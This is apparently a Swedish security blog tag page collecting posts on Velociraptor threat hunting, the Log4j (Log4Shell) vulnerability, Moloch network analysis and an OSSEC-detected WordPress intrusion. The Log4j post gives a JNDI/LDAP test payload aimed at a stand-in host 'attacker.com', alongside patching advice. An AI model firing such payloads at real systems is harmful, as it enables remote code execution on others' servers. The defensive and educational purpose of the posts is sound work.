Taggat med: Elasticsearch

Velociraptor för threat hunting

Velociraptor digital forensics and incident response (DFIR)

Velociraptor är ett digital forensics and incident response (DFIR)-verktyg som är utvecklat av Mike Cohen. Mike jobbade tidigare på Google och var då med och utvecklade Googles verktyg för IT-incidentutredningar vid namn Google Rapid Response (GRR).

Velociraptor är gratis och använda och det finns ett aktivt community som ständigt släpper nya VQL såsom denna som kan detektera CVE-2021-4034 (PwnKit aka polkit pkexec) eller denna (Log4jVulnHunter) för Log4j-sårbarheten. VQL är ett SQL-liknande språk för att skriva ”hunts” eller monitor-regler.

Klienten för Velociraptor går att köra på Windows, Linux och macOS samt så använder den TLS för kommunikationen mellan klient och server.

Tre tre främsta användningsområden för Velociraptor är följande:

  • Insamling av data och artefakter
  • Övervakning och monitorering
  • Threat hunting

Du har även möjlighet att ladda hem och köra tredjepartsprogram såsom Sysinternals Autoruns och använda den informationen för vidare analys. Och inbyggt så finns det stöd för att söka efter Indicators of Compromise och liknande med Yara. Minnesdumpar kan hämtas in med en winpmem och en VQL heter Acquisition.

Du kan även skicka vidare information som Velociraptor hämtar in till andra system som är bättre på att analysera mängder med information såsom Splunk eller Elasticsearch.

En av fördelarna som jag ser med Velociraptor är att tiden för mean time to detect (MTTD) och mean time to respond (MTTR) kan förkortas.

Men vad finns det för nackdelar då? Jo, tröskeln att komma igång och lära sig verktyget kan ta några dagar. Du inför även en ytterligare komponent till din IT-miljö där säkerhetsbrister kan uppstå.

Men sammanfattningsvis så rekommenderar jag helt klart Velociraptor om ni ej har en liknande förmåga i dagsläget i Er IT-miljö.

Skärmdumpar

Insamling av DNS-loggar via Event Tracing for Windows (ETW)
Ett jobb som samlar in scheduled tasks i Windows
Jag testar PwnKit exploiten och kör sedan en hunt för att identifiera den. Lyckas bra!
Hur det ser ut när man loggar in i Admin GUI:t. Visar server status som standard

Om du vill läsa mer och lära dig om Velociraptor rekommenderar jag hemsidan här:

Sammanfattning

Velociraptor är ett mycket bra komplement till Er redan befintliga miljö som troligtvis innehåller flertalet förmågor för att upptäcka och försvåra intrång. Tanken är inte att Velociraptor ska byta ut OSSEC, Wazuh, Sysmon, auditd eller liknande. Inte heller är Velociraptor ett antivirus-system som automatiskt uppdateras med nya IoC:er, men givetvis kan det till viss del utföra alla dessa funktioner.

Bildkälla

Allvarlig sårbarhet i Log4j

Uppdatering: Listan över sårbara applikationer och system bara växer. Nu senast har det visat sig att Ghidra från NSA är sårbart. Sårbarheten har fått det fyndiga namnet Log4Shell

Uppdatering 2: Nu har någon börjat att sammanställa en lista med sårbara system: https://twitter.com/80vul/status/1469250599846027265

Uppdatering 3: Sårbarheten har fått CVE-2021-44228. Uppdateringen log4j-2.15.0-rc1 var bristfällig så därför har log4j-2.15.0-rc2 släppts.

Uppdatering 4: Nu har version 2.16.0 släppts som helt stänger av JDNI som standard.

Log4j är ett populärt bibliotek som används för spårbarhet och loggning, flertalet populära system och produkter använder log4j såsom: Apple iCloud, Steam, Minecraft och Elasticsearch. Sårbarheten kan medge fjärrexekvering av kod (Remote Code Execution, RCE).

En bra payload för att testa är följande:

${jndi:ldap://attacker.com/a}

Ovan payload använder sig av Java Naming and Directory Interface och LDAP för att försöka ansluta till attacker.com. Givetvis kan även Burp Suite Collaborator också användas eller interact.sh för att detektera kommunikation (OOB).

För att åtgärda bristen kan version log4j-2.15.0-rc1 av log4j installeras eller så kan man sätta inställningen log4j2.formatMsgNoLookups till true.

Se även denna tråd på HackerNews.

Identifiera cyberintrång med Moloch

Identifiera cyberintrång med Moloch

Uppdatering 2020-11-20: Moloch har nu bytt namn till Arkime. Läs mer om bakgrunden till namnbytet här.

Jag har haft på min todo-lista ända sedan det första släppet av Moloch som var år 2012 att jag ska testa verktyget. Moloch utvecklades innan 2012 internt hos AOL men släppte det sedan fritt för allmänheten. Dock så dröjde ända tills November 2019 innan jag fick bekanta mig mer med verktyget.

Moloch är ett verktyg som låter dig göra indexerade sökningar i stora mängder data. Säg exempelvis att du lagrar många hundra terabyte av PCAP-data och vill hitta vilka datorer på ditt nätverk som pratat med en viss IP-adress. Att göra en sådan sökning i mängder med PCAP:s kan ta otroligt lång tid. Du kan så klart använda Argus-metadata för att snabba upp sökningen men Moloch är mer användarvänligt samt avkodar information om varje protokoll också, som så klart också är sökbart.

Som backend använder Moloch sökmotorn Elasticsearch som är skriven i Java. Även så tillför Moloch ett snyggt webbgränssnitt och ett REST-API.

Förutom själva webb-gränssnittet så finns även mjukvaran moloch-capture med som antingen kan importera PCAP-filer offline eller läsa av data direkt från ett interface.

Du kan även enkelt tagga upp information från andra system såsom Maltrail eller Suricata och sedan se dessa taggar eller söka på taggarna i Moloch via API:et eller verktyget som följer med:

capture/plugins/taggerUpload.pl localhost:9200 ip iptagdata tag tag .. tag
capture/plugins/taggerUpload.pl localhost:9200 host hosttagdata tag ..
capture/plugins/taggerUpload.pl localhost:9200 md5 md5tagdata tag
capture/plugins/taggerUpload.pl localhost:9200 email emailtagdata tag
capture/plugins/taggerUpload.pl localhost:9200 uri uritagdata tag

Det jag gillar mest med Moloch är att den kan avkoda ett antal olika protokoll såsom DNS, SSH, HTTPS, HTTP, DHCP, radius, socks osv.

För att ge ett exempel på en av många Threat Hunting teser du kan köra:

Vilka unika HASSH klient fingerprint SSH finns det och vart ansluter dom?

Så steg ett är att exportera dessa, exempelvis genom att gå på SPI-vyn och sedan Export unique HASSH. Då öppnas en ny länk med följande tre HASSH-fingerprints:

Tre unika HASSH (bilden är maskad)

Sedan klickar jag på Sessions-fliken och kan söka på sessioner med någon av dessa unika HASSH-fingerprints:

Sökning på en unik hassh i Moloch, bilden är maskad.

Om du är observant så ser du även att det finns en flik som heter Hunt. Den kan användas för att göra klartext-sökningar med intervaller, tyvärr inte så användbar om du inte kör TLSI (TLS Inspection).

Du kan även lägga upp något som heter Cron-queries som körs vid intervaller som sedan skickar notifieringar via Slack, E-post eller Twilio.

Sammanfattning Moloch

Verktyget är gratis att använda och stödjer Er verksamhet i att analysera nätverkstrafik. Det är ingen hög inlärningströskel och kan snabba upp arbete som i dagsläget kanske är mindre effektivt.

Moloch kompletterar andra open-source verktyg såsom Zeek och Suricata mycket bra.

Även har Moloch möjlighet att exportera data som PCAP från sessioner, vilket gör det enklare också om du vill analysera en händelse ytterligare med exempelvis Wireshark.

Så upptäckte säkerhetsloggning med OSSEC ett intrång

Detta är en historia om hur min säkerhetsloggning som bl.a. bygger på OSSEC identifierade ett intrång på en av mina webbservrar.

OSSEC är öppen källkod och går under licensen GNU GPLv2 och utvecklades från början av Daniel Cid och företaget Third Brigade som sedermera blev uppköpta av Trend Micro. Dock så lovade Trend Micro att fortsätta hålla OSSEC som öppen källkod, vilket det fortfarande är.

OSSEC är en mjukvara som går under kategorin HIDS (host-based intrusion detection system) och har bl.a. funktioner för att analysera loggfiler efter suspekta mönster, detektera rootkits och utföra aktiva åtgärder såsom att blockera i brandvägg.


Det går att installera OSSEC som fristående installationer på varje server och sedan skicka vidare larm med hjälp av rsyslog, syslog-ng eller filebeat (föredetta logstash-forwarder) eller använda OSSEC:s inbyggda funktionalitet för att skicka loggar krypterat. Det finns även Windows-klienter till OSSEC.

Jag har konfigurerat OSSEC som en tripwire-funktionalitet, dvs att OSSEC kontrollerar checksummor på viktiga filer. Eftersom många webbattacker går ut på att modifiera webbsidor så har jag även lagt in så att OSSEC-larmar på förändringar i filer som ligger under webbkataloger. Standard så kontrollerar OSSEC enbart integritet på ett antal viktiga systemfiler, därför är det viktigt att lägga till ytterligare filer som du vill hålla koll på.

Jag brukar lägga till ungefär följande rad i /var/ossec/etc/ossec.conf filen:

 <directories realtime="yes" report_changes="yes" restrict=".htaccess|.php|.html|.js">/var/www/domän.se/</directories>

Och även följande rad om du vill larma på nya filer:

<alert_new_files>yes</alert_new_files>

Skulle du få många nya larm om temporära filer som skapas i någon katalog så kan du alltid lägga ignore på den katalogen enligt följande:

<ignore>/var/www/katalognamn</ignore>

Men observera dock vilken katalog du ignorerar så inte det går att utnyttja av en angripare.

Vidare bör du ställa ner intervallet då övriga filer kontrolleras som är standard på 22h. Du gör det med följande rad i ossec.conf:

<frequency>14400</frequency>

Även så måste du ändra följande fil: /var/ossec/rules/local_rules.xml och lägga till följande rad för att få larm om nya filer:

<rule id=”554″ level=”7″ overwrite=”yes”>
<category>ossec</category>
<decoded_as>syscheck_new_entry</decoded_as>
<description>File added to the system.</description>
<group>syscheck</group>
</rule>

Det är för att regeln med id 554 standard är satt som level=”0″ vilket betyder att du inte får några larm.

Intrånget

Det larm som dök upp från OSSEC som fick mig att höja på ögonbrynen är följande:

Den som är observant på ovan larm ser att includ_once() är en felstavning av PHP-funktionen include_once(). Givetvis så kontrollerade jag filen manuellt och upptäckte då att någon hade manuellt modifierat footer.php. Detta är ett vanligt förekommande förfarande när det gäller hackade WordPress-installationer.

Efter vidare undersökning så identifierade jag Filesman-phpbakdörren men även en till bakdörr. Denna bakdörr la jag in min egen bakdörr i så att den loggade alla försök att utnyttja bakdörren samt att lösenordet till bakdörren loggades. Om du är intresserad av bakdörrar till php så kan du kolla in min samling på Github Gist här.

Du kan med fördel även importera larm från OSSEC till Splunk eller ELK-stacken (Elasticsearch, Logstash och Kibana).

Filesman PHP-bakdörr